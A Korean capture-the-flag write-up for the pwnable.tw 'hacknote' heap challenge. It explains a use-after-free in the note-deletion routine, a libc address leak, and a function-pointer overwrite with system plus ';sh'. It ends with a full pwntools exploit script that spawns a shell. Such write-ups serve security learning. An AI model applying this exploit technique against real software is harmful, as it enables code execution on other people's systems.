hOwDayS 선린 10720
pwnable.tw hacknote 본문
소개
단순한 힙 문제다
보호 기법
RELRO | Partial RELRO |
Stack Canary | Canary Found |
NX | Nx enabled |
PIE | NO PIE |
분석
main
1. addnote
2. deletenote
3. printnote
addnote
8만큼 할당 시킨다음 함수 포인터를 넣는다
그리고 노트 사이즈만큼 할당시킨다
deletenote
함수포인터와 노트를 free한다
printnote
인덱스를 입력받아 함수포인터를 실행한다
Leak
노트를 삭제할때 노트를 담는 전역변수 포인터 ptr에서 삭제
안시켜준다는 점에서 릭을 할 수 있다.
1. smallbin 를 두개 할당
2. smallbin 하나 삭제
2. smallbin 삭제한 것을 print note
Exploit
이것도 Leak과 똑같은 취약점으로 익스플로잇 할 수 있다
1. 아무거나 할당 (전 smallbin 두개를 원래 상태로)
2. smallbin 2개를 삭제 (함수포인터 모두 free)
3. 노트를 만들때 사이즈를 8로 해서 만듦 -> smallbin 함수포인터 조작 가능
4. smallbin 함수포인터 조작 된것을 printnote
Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | from pwn import * import time libc = ELF("/lib/i386-linux-gnu/libc.so.6") #libc = ELF("./libc_32.so.6") e = ELF("./hacknote") p = process("./hacknote") #p = remote("chall.pwnable.tw",10102) def addnote(size , content): p.recvuntil("choice :") p.sendline("1") p.sendlineafter(":",str(size)) p.sendafter(":",content) def deletenote(idx): p.recvuntil("choice :") p.sendline("2") p.sendlineafter(":",str(idx)) addnote(128 , "A") # 0 addnote(128,"B") # 1 deletenote(0) addnote(10,"\n") #2 p.recvuntil("choice :") p.sendline("3") p.sendafter(":","0") p.recv(4) libc_base = u32(p.recv(4)) - 0x1b2830 log.success("libc_base : " + hex(libc_base)) deletenote(0) #3 deletenote(1) #4 addnote(8,p32(libc_base +libc.symbols["system"]) + ";sh\x00") # p.recvuntil("choice :") p.sendline("3") p.sendafter(":","0") p.interactive() | cs |
Comments